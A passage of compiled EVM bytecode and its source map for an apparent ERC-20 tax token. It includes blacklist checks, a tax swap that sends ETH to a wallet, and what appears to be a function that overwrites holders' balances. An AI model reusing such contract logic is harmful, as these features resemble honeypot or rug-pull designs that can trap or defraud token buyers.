046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610820919061183e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a3919061183e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610911919061183e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610958816001600160a01b03165f9081526001602052604090205490565b5f8061096b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109d1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f69190611859565b50506014546015805460ff60a01b19600162ff000160a01b03199091166001600160a01b0390931692909217600160b01b1791909116600160a01b17905550565b5f546001600160a01b03163314610a605760405162461bcd60e51b81526004016104b6906117f5565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b6001600160a01b038316610b145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b6565b6001600160a01b038216610b755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b6565b6001600160a01b038216610c9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b6565b5f8111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b6565b5f80546001600160a01b03858116911614801590610d2757505f546001600160a01b03848116911614155b1561101d576001600160a01b0384165f9081526005602052604090205460ff16158015610d6c57506001600160a01b0383165f9081526005602052604090205460ff16155b610d74575f80fd5b610da06064610d9a600f5460125411610d8f57600b54610d93565b600d545b8590611192565b90611217565b6014549091506001600160a01b038581169116148015610dce57506013546001600160a01b03848116911614155b8015610df257506001600160a01b0383165f9081526003602052604090205460ff16155b15610ed857600754821115610e495760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b6565b60085482610e6b856001600160a01b03165f9081526001602052604090205490565b610e759190611884565b1115610ec35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b6565b60128054905f610ed283611897565b91905055505b6014546001600160a01b038481169116148015610efe57506001600160a01b0384163014155b15610f3657610f286064610d9a60105460125411610f1e57600c54610d93565b600e548590611192565b905047610f3447611258565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f6c57506014546001600160a01b038581169116145b8015610f815750601554600160b01b900460ff165b8015610f8e575060095481115b8015610f9d5750601154601254115b1561101b57601554600160b81b900460ff1615610ff657436016541015610ff157610fdb610fd684610fd184600a5461128f565b61128f565b6112a3565b478015610feb57610feb47611258565b50436016555b61101b565b611009610fd684610fd184600a5461128f565b4780156110195761101947611258565b505b505b801561109557305f9081526001602052604090205461103c9082611413565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061108c9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110b79083611471565b6001600160a01b0385165f908152600160205260409020556110fa6110dc8383611471565b6001600160a01b0385165f9081526001602052604090205490611413565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111438585611471565b60405190815260200160405180910390a350505050565b5f818484111561117d5760405162461bcd60e51b81526004016104b691906114de565b505f61118984866118af565b95945050505050565b5f825f036111a157505f610400565b5f6111ac83856117de565b9050826111b985836118c2565b146112105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b6565b9392505050565b5f61121083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b2565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610664573d5f803e3d5ffd5b5f81831161129d5782611210565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112e9576112e961182a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611340573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611364919061183e565b816001815181106113775761137761182a565b6001600160a01b03928316602091820292909201015260135461139d9130911684610ab2565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d59085905f908690309042906004016118e1565b5f604051808303815f87803b1580156113ec575f80fd5b505af11580156113fe573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061141f8385611884565b9050838110156112105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b6565b5f61121083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115a565b5f81836114d25760405162461bcd60e51b81526004016104b691906114de565b505f61118984866118c2565b5f602080835283518060208501525f5b8181101561150a578581018301518582016040015282016114ee565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106dd575f80fd5b80356115498161152a565b919050565b5f806040838503121561155f575f80fd5b823561156a8161152a565b946020939093013593505050565b5f805f6060848603121561158a575f80fd5b83356115958161152a565b925060208401356115a58161152a565b929592945050506040919091013590565b5f602082840312156115c6575f80fd5b81356112108161152a565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115f6575f80fd5b823567ffffffffffffffff8082111561160d575f80fd5b818501915085601f830112611620575f80fd5b813581811115611632576116326115d1565b8060051b604051601f19603f83011681018181108582111715611657576116576115d1565b604052918252848201925083810185019188831115611674575f80fd5b938501935b828510156116995761168a8561153e565b84529385019392850192611679565b98975050505050505050565b5f80604083850312156116b6575f80fd5b82356116c18161152a565b915060208301356116d18161152a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172a57815f1904821115611710576117106116dc565b8085161561171d57918102915b93841c93908002906116f5565b509250929050565b5f8261174057506001610400565b8161174c57505f610400565b8160018114611762576002811461176c57611788565b6001915050610400565b60ff84111561177d5761177d6116dc565b50506001821b610400565b5060208310610133831016604e8410600b84101617156117ab575081810a610400565b6117b583836116f0565b805f19048211156117c8576117c86116dc565b029392505050565b5f61121060ff841683611732565b8082028115828204841417610400576104006116dc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561184e575f80fd5b81516112108161152a565b5f805f6060848603121561186b575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610400576104006116dc565b5f600182016118a8576118a86116dc565b5060010190565b81810381811115610400576104006116dc565b5f826118dc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119315784516001600160a01b03168352938301939183019160010161190c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220343f249817e07a8466051020f718a79543d16c427d36c60e501783a77d4f1e3664736f6c63430008180033
Deployed Bytecode Sourcemap
3552:8538:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6235:83;;;;;;;;;;-1:-1:-1;6305:5:0;;;;;;;;;;;;-1:-1:-1;;;6305:5:0;;;;6235:83;;;;;;;:::i;:::-;;;;;;;;7054:246;;;;;;;;;;-1:-1:-1;7054:246:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7054:246:0;1162:187:1;4339:45:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4339:45:0;1354:177:1;6506:95:0;;;;;;;;;;;;;:::i;7306:314::-;;;;;;;;;;-1:-1:-1;7306:314:0;;;;;:::i;:::-;;:::i;4287:45::-;;;;;;;;;;;;;;;;6417:83;;;;;;;;;;-1:-1:-1;6417:83:0;;3993:1;2139:36:1;;2127:2;2112:18;6417:83:0;1997:184:1;4229:51:0;;;;;;;;;;;;;;;;6607:119;;;;;;;;;;-1:-1:-1;6607:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6700:18:0;6673:7;6700:18;;;:9;:18;;;;;;;6607:119;3397:148;;;;;;;;;;;;;:::i;:::-;;11405:193;;;;;;;;;;;;;:::i;4175:47::-;;;;;;;;;;;;;;;;3183:79;;;;;;;;;;-1:-1:-1;3221:7:0;3248:6;3183:79;;-1:-1:-1;;;;;3248:6:0;;;2584:51:1;;2572:2;2557:18;3183:79:0;2438:203:1;6324:87:0;;;;;;;;;;-1:-1:-1;6396:7:0;;;;;;;;;;;;-1:-1:-1;;;6396:7:0;;;;6324:87;;10818:239;;;;;;;;;;-1:-1:-1;10818:239:0;;;;;:::i;:::-;;:::i;6732:167::-;;;;;;;;;;-1:-1:-1;6732:167:0;;;;;:::i;:::-;;:::i;11063:111::-;;;;;;;;;;;;;:::i;5605:624::-;;;;;;;;;;;;;:::i;6905:143::-;;;;;;;;;;-1:-1:-1;6905:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7013:18:0;;;6986:7;7013:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6905:143;11180:184;;;;;;;;;;-1:-1:-1;11180:184:0;;;;;:::i;:::-;;:::i;7054:246::-;-1:-1:-1;;;;;7189:22:0;;7129:4;7189:22;;;:13;:22;;;;;;2842:10;;7189:22;;7186:41;;;-1:-1:-1;7219:8:0;;-1:-1:-1;;;;;7219:8:0;7186:41;7238:32;7247:5;7254:7;7263:6;7238:8;:32::i;:::-;7288:4;7281:11;;;7054:246;;;;;:::o;6506:95::-;6559:7;4049:13;3993:1;4049:2;:13;:::i;:::-;4036:26;;:10;:26;:::i;:::-;6579:14;;6506:95;:::o;7306:314::-;7404:4;7421:36;7431:6;7439:9;7450:6;7421:9;:36::i;:::-;7469:121;7478:6;2842:10;7500:89;7538:6;7500:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7500:19:0;;;;;;:11;:19;;;;;;;;2842:10;7500:33;;;;;;;;;;:37;:89::i;:::-;7469:8;:121::i;:::-;-1:-1:-1;7608:4:0;7306:314;;;;;:::o;3397:148::-;3310:6;;-1:-1:-1;;;;;3310:6:0;2842:10;3310:22;3302:67;;;;-1:-1:-1;;;3302:67:0;;;;;;;:::i;:::-;;;;;;;;;3504:1:::1;3488:6:::0;;3467:40:::1;::::0;-1:-1:-1;;;;;3488:6:0;;::::1;::::0;3467:40:::1;::::0;3504:1;;3467:40:::1;3535:1;3518:19:::0;;-1:-1:-1;;;;;;3518:19:0::1;::::0;;3397:148::o;11405:193::-;3310:6;;-1:-1:-1;;;;;3310:6:0;2842:10;3310:22;3302:67;;;;-1:-1:-1;;;3302:67:0;;;;;;;:::i;:::-;11459:12:::1;:20:::0;;-1:-1:-1;;;;11459:20:0::1;::::0;;4049:13:::1;3993:1;4049:2;:13;:::i;:::-;4036:26;::::0;:10:::1;:26;:::i;:::-;11490:12;:22:::0;4049:13:::1;3993:1;4049:2;:13;:::i;:::-;4036:26;::::0;:10:::1;:26;:::i;:::-;11523:16;:24:::0;11563:27:::1;4049:13;3993:1;4049:2;:13;:::i;:::-;4036:26;::::0;:10:::1;:26;:::i;:::-;11563:27;::::0;1500:25:1;;;1488:2;1473:18;11563:27:0::1;;;;;;;11405:193::o:0;10818:239::-;10889:9;10884:166;10908:5;:12;10904:1;:16;10884:166;;;10959:13;;10947:8;;-1:-1:-1;;;;;10959:13:0;;;;10947:5;;10953:1;;10947:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;10947:25:0;;10943:38;;10974:7;10818:239;:::o;10943:38::-;11023:15;3993:1;11023:2;:15;:::i;:::-;11017:21;;:3;:21;:::i;:::-;10995:9;:19;11005:5;11011:1;11005:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;10995:19:0;;;;;;;;;;;-1:-1:-1;10995:19:0;:43;10922:4;;10884:166;;;;10818:239;:::o;6732:167::-;6810:4;6827:42;2842:10;6851:9;6862:6;6827:9;:42::i;:::-;-1:-1:-1;6887:4:0;6732:167;;;;:::o;11063:111::-;3310:6;;-1:-1:-1;;;;;3310:6:0;2842:10;3310:22;3302:67;;;;-1:-1:-1;;;3302:67:0;;;;;;;:::i;:::-;3221:7;3248:6;;11118:48:::1;::::0;-1:-1:-1;;;;;3248:6:0;;;;11144:21:::1;11118:48:::0;::::1;;;::::0;11144:21;;11118:48;3221:7;11118:48;11144:21;3248:6;11118:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11063:111::o:0;5605:624::-;3310:6;;-1:-1:-1;;;;;3310:6:0;2842:10;3310:22;3302:67;;;;-1:-1:-1;;;3302:67:0;;;;;;;:::i;:::-;5669:11:::1;::::0;-1:-1:-1;;;5669:11:0;::::1;;;5668:12;5660:47;;;::::0;-1:-1:-1;;;5660:47:0;;6934:2:1;5660:47:0::1;::::0;::::1;6916:21:1::0;6973:2;6953:18;;;6946:30;7012:25;6992:18;;;6985:53;7055:18;;5660:47:0::1;6732:347:1::0;5660:47:0::1;5718:15;:80:::0;;-1:-1:-1;;;;;;5718:80:0::1;5755:42;5718:80:::0;;::::1;::::0;;;5809:58:::1;::::0;5826:4:::1;::::0;4049:13:::1;3993:1;4049:2;:13;:::i;:::-;4036:26;::::0;:10:::1;:26;:::i;5809:58::-;5912:15;;;;;;;;;-1:-1:-1::0;;;;;5912:15:0::1;-1:-1:-1::0;;;;;5912:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5894:55:0::1;;5958:4;5965:15;;;;;;;;;-1:-1:-1::0;;;;;5965:15:0::1;-1:-1:-1::0;;;;;5965:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5894:94;::::0;-1:-1:-1;;;;;;5894:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7570:15:1;;;5894:94:0::1;::::0;::::1;7552:34:1::0;7622:15;;7602:18;;;7595:43;7487:18;;5894:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5878:13;:110:::0;;-1:-1:-1;;;;;5878:110:0;;::::1;-1:-1:-1::0;;;;;;5878:110:0;;::::1;;::::0;;5999:15:::1;::::0;::::1;:31;6038:21;6069:4;6075:24;6069:4:::0;-1:-1:-1;;;;;6700:18:0;6673:7;6700:18;;;:9;:18;;;;;;;6607:119;6075:24:::1;6100:1;6102::::0;6104:7:::1;3221::::0;3248:6;-1:-1:-1;;;;;3248:6:0;;3183:79;6104:7:::1;5999:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5999:129:0;;;-1:-1:-1;;;;;8008:15:1;;;5999:129:0::1;::::0;::::1;7990:34:1::0;8040:18;;;8033:34;;;;8083:18;;;8076:34;;;;8126:18;;;8119:34;8190:15;;;8169:19;;;8162:44;6112:15:0::1;8222:19:1::0;;;8215:35;7924:19;;5999:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6150:13:0::1;::::0;6139:8:::1;:24:::0;;-1:-1:-1;;;;;;;;;;6174:18:0;;;-1:-1:-1;;;;;6150:13:0;;::::1;6174:18:::0;;;;-1:-1:-1;;;6174:18:0::1;6203::::0;;;::::1;-1:-1:-1::0;;;6203:18:0::1;::::0;;-1:-1:-1;5605:624:0:o;11180:184::-;3310:6;;-1:-1:-1;;;;;3310:6:0;2842:10;3310:22;3302:67;;;;-1:-1:-1;;;3302:67:0;;;;;;;:::i;:::-;11256:9:::1;:19:::0;;-1:-1:-1;;;;;11256:19:0;;::::1;-1:-1:-1::0;;;;;;11256:19:0;;::::1;::::0;::::1;::::0;;:9:::1;11286:22:::0;;;:13:::1;:22;::::0;;;;;;;:29;;-1:-1:-1;;11286:29:0;;::::1;11256:19:::0;11286:29;;::::1;::::0;;;11326:14:::1;:23:::0;;;;;:30;;;;::::1;::::0;;::::1;::::0;;11180:184::o;7626:335::-;-1:-1:-1;;;;;7719:19:0;;7711:68;;;;-1:-1:-1;;;7711:68:0;;8774:2:1;7711:68:0;;;8756:21:1;8813:2;8793:18;;;8786:30;8852:34;8832:18;;;8825:62;-1:-1:-1;;;8903:18:1;;;8896:34;8947:19;;7711:68:0;8572:400:1;7711:68:0;-1:-1:-1;;;;;7798:21:0;;7790:68;;;;-1:-1:-1;;;7790:68:0;;9179:2:1;7790:68:0;;;9161:21:1;9218:2;9198:18;;;9191:30;9257:34;9237:18;;;9230:62;-1:-1:-1;;;9308:18:1;;;9301:32;9350:19;;7790:68:0;8977:398:1;7790:68:0;-1:-1:-1;;;;;7869:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7921:32;;1500:25:1;;;7921:32:0;;1473:18:1;7921:32:0;;;;;;;7626:335;;;:::o;7967:2646::-;-1:-1:-1;;;;;8055:18:0;;8047:68;;;;-1:-1:-1;;;8047:68:0;;9582:2:1;8047:68:0;;;9564:21:1;9621:2;9601:18;;;9594:30;9660:34;9640:18;;;9633:62;-1:-1:-1;;;9711:18:1;;;9704:35;9756:19;;8047:68:0;9380:401:1;8047:68:0;-1:-1:-1;;;;;8134:16:0;;8126:64;;;;-1:-1:-1;;;8126:64:0;;9988:2:1;8126:64:0;;;9970:21:1;10027:2;10007:18;;;10000:30;10066:34;10046:18;;;10039:62;-1:-1:-1;;;10117:18:1;;;10110:33;10160:19;;8126:64:0;9786:399:1;8126:64:0;8218:1;8209:6;:10;8201:64;;;;-1:-1:-1;;;8201:64:0;;10392:2:1;8201:64:0;;;10374:21:1;10431:2;10411:18;;;10404:30;10470:34;10450:18;;;10443:62;-1:-1:-1;;;10521:18:1;;;10514:39;10570:19;;8201:64:0;10190:405:1;8201:64:0;8276:18;3248:6;;-1:-1:-1;;;;;8311:15:0;;;3248:6;;8311:15;;;;:32;;-1:-1:-1;3221:7:0;3248:6;-1:-1:-1;;;;;8330:13:0;;;3248:6;;8330:13;;8311:32;8307:1946;;;-1:-1:-1;;;;;8369:11:0;;;;;;:5;:11;;;;;;;;8368:12;:26;;;;-1:-1:-1;;;;;;8385:9:0;;;;;;:5;:9;;;;;;;;8384:10;8368:26;8360:35;;;;;;8423:73;8492:3;8423:64;8445:12;;8435:9;;:22;8434:52;;8472:14;;8434:52;;;8459:12;;8434:52;8423:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8523:13;;8410:86;;-1:-1:-1;;;;;;8515:21:0;;;8523:13;;8515:21;:55;;;;-1:-1:-1;8554:15:0;;-1:-1:-1;;;;;8540:30:0;;;8554:15;;8540:30;;8515:55;:79;;;;-1:-1:-1;;;;;;8576:18:0;;;;;;:14;:18;;;;;;;;8574:20;8515:79;8511:311;;;8634:12;;8624:6;:22;;8616:60;;;;-1:-1:-1;;;8616:60:0;;10802:2:1;8616:60:0;;;10784:21:1;10841:2;10821:18;;;10814:30;10880:27;10860:18;;;10853:55;10925:18;;8616:60:0;10600:349:1;8616:60:0;8729:16;;8719:6;8703:13;8713:2;-1:-1:-1;;;;;6700:18:0;6673:7;6700:18;;;:9;:18;;;;;;;6607:119;8703:13;:22;;;;:::i;:::-;:42;;8695:81;;;;-1:-1:-1;;;8695:81:0;;11286:2:1;8695:81:0;;;11268:21:1;11325:2;11305:18;;;11298:30;11364:28;11344:18;;;11337:56;11410:18;;8695:81:0;11084:350:1;8695:81:0;8795:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8511:311;8845:13;;-1:-1:-1;;;;;8839:19:0;;;8845:13;;8839:19;:43;;;;-1:-1:-1;;;;;;8862:20:0;;8877:4;8862:20;;8839:43;8836:363;;;8916:76;8988:3;8916:67;8938:13;;8928:9;;:23;8927:55;;8967:15;;8927:55;;;8953:13;;8916:6;;:10;:67::i;:76::-;8903:89;-1:-1:-1;9040:21:0;9131:33;9142:21;9131:10;:33::i;:::-;8884:315;8836:363;9262:4;9213:28;6700:18;;;:9;:18;;;;;;9288:6;;-1:-1:-1;;;9288:6:0;;;;9287:7;:32;;;;-1:-1:-1;9306:13:0;;-1:-1:-1;;;;;9298:21:0;;;9306:13;;9298:21;9287:32;:47;;;;-1:-1:-1;9323:11:0;;-1:-1:-1;;;9323:11:0;;;;9287:47;:83;;;;;9359:11;;9338:20;:32;9287:83;:110;;;;;9384:13;;9374:9;;:23;9287:110;9283:959;;;9422:12;;-1:-1:-1;;;9422:12:0;;;;9418:809;;;9478:12;9463;;:27;9459:427;;;9519:67;9536:49;9540:6;9547:37;9551:20;9572:11;;9547:3;:37::i;:::-;9536:3;:49::i;:::-;9519:16;:67::i;:::-;9642:21;9693:22;;9690:119;;9748:33;9759:21;9748:10;:33::i;:::-;-1:-1:-1;9850:12:0;9835;:27;9459:427;9418:809;;;9934:67;9951:49;9955:6;9962:37;9966:20;9987:11;;9962:3;:37::i;9934:67::-;10053:21;10100:22;;10097:111;;10151:33;10162:21;10151:10;:33::i;:::-;9911:316;9418:809;8345:1908;8307:1946;10266:12;;10263:165;;10335:4;10317:24;;;;:9;:24;;;;;;:40;;10346:10;10317:28;:40::i;:::-;10310:4;10292:24;;;;:9;:24;;;;;;;:65;;;;10375:41;;-1:-1:-1;;;;;10375:41:0;;;;;;;10405:10;1500:25:1;;1488:2;1473:18;;1354:177;10375:41:0;;;;;;;;10263:165;-1:-1:-1;;;;;10454:15:0;;;;;;:9;:15;;;;;;:27;;10474:6;10454:19;:27::i;:::-;-1:-1:-1;;;;;10438:15:0;;;;;;:9;:15;;;;;:43;10506:41;10524:22;:6;10535:10;10524;:22::i;:::-;-1:-1:-1;;;;;10506:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;10492:13:0;;;;;;;:9;:13;;;;;:55;;;;10563:42;;;10582:22;:6;10593:10;10582;:22::i;:::-;10563:42;;1500:25:1;;;1488:2;1473:18;10563:42:0;;;;;;;8036:2577;7967:2646;;;:::o;1142:190::-;1228:7;1264:12;1256:6;;;;1248:29;;;;-1:-1:-1;;;1248:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1288:9:0;1300:5;1304:1;1300;:5;:::i;:::-;1288:17;1142:190;-1:-1:-1;;;;;1142:190:0:o;1340:246::-;1398:7;1422:1;1427;1422:6;1418:47;;-1:-1:-1;1452:1:0;1445:8;;1418:47;1475:9;1487:5;1491:1;1487;:5;:::i;:::-;1475:17;-1:-1:-1;1520:1:0;1511:5;1515:1;1475:17;1511:5;:::i;:::-;:10;1503:56;;;;-1:-1:-1;;;1503:56:0;;12136:2:1;1503:56:0;;;12118:21:1;12175:2;12155:18;;;12148:30;12214:34;12194:18;;;12187:62;-1:-1:-1;;;12265:18:1;;;12258:31;12306:19;;1503:56:0;11934:397:1;1503:56:0;1577:1;1340:246;-1:-1:-1;;;1340:246:0:o;1594:132::-;1652:7;1679:39;1683:1;1686;1679:39;;;;;;;;;;;;;;;;;:3;:39::i;10619:89::-;10674:9;;:26;;-1:-1:-1;;;;;10674:9:0;;;;:26;;;;;10693:6;;10674:9;:26;:9;:26;10693:6;10674:9;:26;;;;;;;;;;;;;;;;;;;10714:98;10771:7;10798:1;10796;:3;10795:9;;10803:1;10795:9;;;-1:-1:-1;10801:1:0;10714:98;-1:-1:-1;10714:98:0:o;11604:483::-;5076:6;:13;;-1:-1:-1;;;;5076:13:0;-1:-1:-1;;;5076:13:0;;;11706:16:::1;::::0;;11720:1:::1;11706:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11706:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11706:16:0::1;11682:40;;11751:4;11733;11738:1;11733:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11733:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11777:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11777:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11733:7;;11777:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11767:4;11772:1;11767:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11767:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11842:15:::1;::::0;11810:62:::1;::::0;11827:4:::1;::::0;11842:15:::1;11860:11:::0;11810:8:::1;:62::i;:::-;11883:15;::::0;:196:::1;::::0;-1:-1:-1;;;11883:196:0;;-1:-1:-1;;;;;11883:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11964:11;;11883:15:::1;::::0;12006:4;;12033::::1;::::0;12053:15:::1;::::0;11883:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5112:6:0;:14;;-1:-1:-1;;;;5112:14:0;;;-1:-1:-1;;;;11604:483:0:o;811:179::-;869:7;;901:5;905:1;901;:5;:::i;:::-;889:17;;930:1;925;:6;;917:46;;;;-1:-1:-1;;;917:46:0;;13523:2:1;917:46:0;;;13505:21:1;13562:2;13542:18;;;13535:30;13601:29;13581:18;;;13574:57;13648:18;;917:46:0;13321:351:1;998:136:0;1056:7;1083:43;1087:1;1090;1083:43;;;;;;;;;;;;;;;;;:3;:43::i;1734:189::-;1820:7;1855:12;1848:5;1840:28;;;;-1:-1:-1;;;1840:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1879:9:0;1891:5;1895:1;1891;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2646:127::-;2707:10;2702:3;2698:20;2695:1;2688:31;2738:4;2735:1;2728:15;2762:4;2759:1;2752:15;2778:1121;2862:6;2893:2;2936;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2992:9;2979:23;3021:18;3062:2;3054:6;3051:14;3048:34;;;3078:1;3075;3068:12;3048:34;3116:6;3105:9;3101:22;3091:32;;3161:7;3154:4;3150:2;3146:13;3142:27;3132:55;;3183:1;3180;3173:12;3132:55;3219:2;3206:16;3241:2;3237;3234:10;3231:36;;;3247:18;;:::i;:::-;3293:2;3290:1;3286:10;3325:2;3319:9;3388:2;3384:7;3379:2;3375;3371:11;3367:25;3359:6;3355:38;3443:6;3431:10;3428:22;3423:2;3411:10;3408:18;3405:46;3402:72;;;3454:18;;:::i;:::-;3490:2;3483:22;3540:18;;;3574:15;;;;-1:-1:-1;3616:11:1;;;3612:20;;;3644:19;;;3641:39;;;3676:1;3673;3666:12;3641:39;3700:11;;;;3720:148;3736:6;3731:3;3728:15;3720:148;;;3802:23;3821:3;3802:23;:::i;:::-;3790:36;;3753:12;;;;3846;;;;3720:148;;;3887:6;2778:1121;-1:-1:-1;;;;;;;;2778:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001: